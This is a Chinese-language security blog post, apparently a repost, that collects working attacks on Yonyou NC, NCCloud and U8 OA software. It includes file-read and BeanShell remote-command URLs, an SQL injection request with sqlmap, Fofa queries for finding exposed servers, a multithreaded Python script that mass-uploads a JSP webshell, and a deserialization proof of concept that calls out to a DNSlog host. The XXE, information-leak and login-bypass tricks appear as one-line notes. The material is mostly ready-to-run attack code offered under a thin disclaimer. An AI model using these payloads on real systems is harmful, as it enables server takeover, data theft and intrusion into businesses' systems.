一篇文章让你拿下用友nc

免责声明

本文仅用于技术讨论与学习，利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

只供对已授权的目标使用测试，对未授权目标的测试作者不承担责任，均由使用本人自行承担。

文章正文

转载链接：https://github.com/j2ekim/YonyouNC_Tip

用友NC漏洞整理

1 任意文件读取

filename参数可以读取下列所有文件，在某些情况下可以读取利用目录穿越可读取/etc/passwd等文件

http://x.x.x.x/NCFindWeb?service=IPreAlertConfigService&filename=/

3.2 bsh.servlet.BshServlet 远程命令执行漏洞

用友 NC bsh.servlet.BshServlet 存在远程命令执行漏洞，通过 BeanShell 执行远程命令获取服务器权限。

poc：

http://x.x.x.x/service/~aim/bsh.servlet.BshServlet
http://x.x.x.x/service/~alm/bsh.servlet.BshServlet
http://x.x.x.x/service/~ampub/bsh.servlet.BshServlet
http://x.x.x.x/service/~arap/bsh.servlet.BshServlet
http://x.x.x.x/service/~aum/bsh.servlet.BshServlet
http://x.x.x.x/service/~cc/bsh.servlet.BshServlet
http://x.x.x.x/service/~cdm/bsh.servlet.BshServlet
http://x.x.x.x/service/~cmp/bsh.servlet.BshServlet
http://x.x.x.x/service/~ct/bsh.servlet.BshServlet
http://x.x.x.x/service/~dm/bsh.servlet.BshServlet
http://x.x.x.x/service/~erm/bsh.servlet.BshServlet
http://x.x.x.x/service/~fa/bsh.servlet.BshServlet
http://x.x.x.x/service/~fac/bsh.servlet.BshServlet
http://x.x.x.x/service/~fbm/bsh.servlet.BshServlet
http://x.x.x.x/service/~ff/bsh.servlet.BshServlet
http://x.x.x.x/service/~fip/bsh.servlet.BshServlet
http://x.x.x.x/service/~fipub/bsh.servlet.BshServlet
http://x.x.x.x/service/~fp/bsh.servlet.BshServlet
http://x.x.x.x/service/~fts/bsh.servlet.BshServlet
http://x.x.x.x/service/~fvm/bsh.servlet.BshServlet
http://x.x.x.x/service/~gl/bsh.servlet.BshServlet
http://x.x.x.x/service/~hrhi/bsh.servlet.BshServlet
http://x.x.x.x/service/~hrjf/bsh.servlet.BshServlet
http://x.x.x.x/service/~hrpd/bsh.servlet.BshServlet
http://x.x.x.x/service/~hrpub/bsh.servlet.BshServlet
http://x.x.x.x/service/~hrtrn/bsh.servlet.BshServlet
http://x.x.x.x/service/~hrwa/bsh.servlet.BshServlet
http://x.x.x.x/service/~ia/bsh.servlet.BshServlet
http://x.x.x.x/service/~ic/bsh.servlet.BshServlet
http://x.x.x.x/service/~iufo/bsh.servlet.BshServlet
http://x.x.x.x/service/~modules/bsh.servlet.BshServlet
http://x.x.x.x/service/~mpp/bsh.servlet.BshServlet
http://x.x.x.x/service/~obm/bsh.servlet.BshServlet
http://x.x.x.x/service/~pu/bsh.servlet.BshServlet
http://x.x.x.x/service/~qc/bsh.servlet.BshServlet
http://x.x.x.x/service/~sc/bsh.servlet.BshServlet
http://x.x.x.x/service/~scmpub/bsh.servlet.BshServlet
http://x.x.x.x/service/~so/bsh.servlet.BshServlet
http://x.x.x.x/service/~so2/bsh.servlet.BshServlet
http://x.x.x.x/service/~so3/bsh.servlet.BshServlet
http://x.x.x.x/service/~so4/bsh.servlet.BshServlet
http://x.x.x.x/service/~so5/bsh.servlet.BshServlet
http://x.x.x.x/service/~so6/bsh.servlet.BshServlet
http://x.x.x.x/service/~tam/bsh.servlet.BshServlet
http://x.x.x.x/service/~tbb/bsh.servlet.BshServlet
http://x.x.x.x/service/~to/bsh.servlet.BshServlet
http://x.x.x.x/service/~uap/bsh.servlet.BshServlet
http://x.x.x.x/service/~uapbd/bsh.servlet.BshServlet
http://x.x.x.x/service/~uapde/bsh.servlet.BshServlet
http://x.x.x.x/service/~uapeai/bsh.servlet.BshServlet
http://x.x.x.x/service/~uapother/bsh.servlet.BshServlet
http://x.x.x.x/service/~uapqe/bsh.servlet.BshServlet
http://x.x.x.x/service/~uapweb/bsh.servlet.BshServlet
http://x.x.x.x/service/~uapws/bsh.servlet.BshServlet
http://x.x.x.x/service/~vrm/bsh.servlet.BshServlet
http://x.x.x.x/service/~yer/bsh.servlet.BshServlet

3.3 用友 NCCloud FS 文件管理 SQL 注入

用友 NCCloud FS 文件管理登录页面对用户名参数没有过滤，存在 SQL 注入。

Fofa:

"/platform/yonyou-yyy.js"

nccloud 登录界面：

文件服务器管理登录页面：

http://x.x.x.x/fs/

username参数存在注入，抓取登录数据包：

GET /fs/console?username=1&password=00PGRLxSTe3VroI21qJNymCrZfPX1UQ4ij0gIWn2Gc4%3D HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://x.x.x.x/fs/
Cookie: JSESSIONID=FFAE8EF48BD3BEF7E94B5449B8F9BA90.server
Upgrade-Insecure-Requests: 1

sqlmap 跑注入：

sqlmap -r text.txt -p username

3.4 用友 NC 6.5 未授权文件上传漏洞

用友 NC6.5 版本存在未授权文件上传漏洞，攻击者可以未授权上传任意文件，进而获取服务端控制权限。

Fofa:

"/platform/yonyou-yyy.js"

POC:

import requests
import threadpool
import urllib3
import sys
import argparse

urllib3.disable_warnings()
proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
header = {
   "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
   "Content-Type": "application/x-www-form-urlencoded",
   "Referer": "https://google.com",
}

def multithreading(funcname, filename="url.txt", pools=5):
   works = []
   with open(filename, "r") as f:
       for i in f:
           func_params = [i.rstrip("\n")]
           works.append((func_params, None))
   pool = threadpool.ThreadPool(pools)
   reqs = threadpool.makeRequests(funcname, works)
  [pool.putRequest(req) for req in reqs]
   pool.wait()

def wirte_targets(vurl, filename):
   with open(filename, "a+") as f:
       f.write(vurl + "\n")
       return vurl
   
def exp(u):
   uploadHeader = {
       "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
       "Content-Type": "multipart/form-data;",
       "Referer": "https://google.com"
  }
   uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"
   shellFlag="t0test0ls"
   uploadData+=shellFlag
   try:
       req1 = requests.post(u + "/servlet/FileReceiveServlet", headers=uploadHeader, verify=False, data=uploadData, timeout=25)
       if req1.status_code == 200 :
           req3=requests.get(u+"/t00ls.jsp",headers=header, verify=False, timeout=25)

           if  req3.text.index(shellFlag)>=0:
               printFlag = "[Getshell]" + u+"/t00ls.jsp"  + "\n"
               print (printFlag)
               wirte_targets(printFlag, "vuln.txt")
   except :
       pass
   #print(printFlag, end="")


if __name__ == "__main__":
   if (len(sys.argv)) < 2:
       print('useage : python' +str(sys.argv[0]) + ' -h')
   else:
       parser =argparse.ArgumentParser()
       parser.description ='YONYOU UC 6.5 FILE UPLOAD!'
       parser.add_argument('-u',help="url -> example [url]http://127.0.0.1[/url]",type=str,dest='check_url')
       parser.add_argument('-r',help="url list to file",type=str,dest='check_file')
       args =parser.parse_args()
       if args.check_url:
           exp(args.check_url)
       
       if(args.check_file):
           multithreading(exp, args.check_file, 8)

当然也可以利用工具

用友NC-OA漏洞合集

3.5 用友 NC XbrlPersistenceServlet 反序列化

已知用友 NC6.5 版本存在反序列化漏洞，攻击者可以执行系统命令，获取服务端权限。

/service/~xbrl/XbrlPersistenceServlet

POC:

import requests
import threadpool
import urllib3
import sys
import base64

ip = "x.x.x.x"
dnslog = "*****" #dnslog把字符串转16进制替换该段，测试用的ceye.io可以回显
data = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x73\x72\x00\x0c\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x55\x52\x4c\x96\x25\x37\x36\x1a\xfc\xe4\x72\x03\x00\x07\x49\x00\x08\x68\x61\x73\x68\x43\x6f\x64\x65\x49\x00\x04\x70\x6f\x72\x74\x4c\x00\x09\x61\x75\x74\x68\x6f\x72\x69\x74\x79\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x66\x69\x6c\x65\x71\x00\x7e\x00\x03\x4c\x00\x04\x68\x6f\x73\x74\x71\x00\x7e\x00\x03\x4c\x00\x08\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x71\x00\x7e\x00\x03\x4c\x00\x03\x72\x65\x66\x71\x00\x7e\x00\x03\x78\x70\xff\xff\xff\xff\x00\x00\x00\x50\x74\x00\x11"+dnslog+"\x3a\x38\x30\x74\x00\x00\x74\x00\x0e"+dnslog+"\x74\x00\x04\x68\x74\x74\x70\x70\x78\x74\x00\x18\x68\x74\x74\x70\x3a\x2f\x2f"+dnslog+"\x3a\x38\x30\x78"

uploadHeader={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"}
req = requests.post("http://+"ip"+/service/~xbrl/XbrlPersistenceServlet", headers=uploadHeader, verify=False, data=data, timeout=25)
print (req.text)

3.6 用友 U8 OA SQL注入漏洞

用友 U8 OA test.jsp 文件存在 SQL 注入漏洞

Fofa:

"/yyoa/seeyonoa/common/"

POC:

/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))

sqlmap跑一下

3.7 xxe漏洞

接口处的XXE漏洞

POC:

/uapws/service/nc.uap.oba.update.IUpdateService?wsdl

3.8 接口信息泄露

在其中有个接口可以获取数据库账户密码，不过是老版本了

/uapws/service

3.9 控制台密码绕过

账户密码随便填，抓包将返回包0改为1,即可任意用户登录

技术交流

交流群

关注公众号回复“加群”，添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

知识星球

星球不定时更新最新漏洞复现，手把手教你，同时不定时更新POC、内外网渗透测试骚操作。涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全等

往期文章：

点一下爱心再走吧！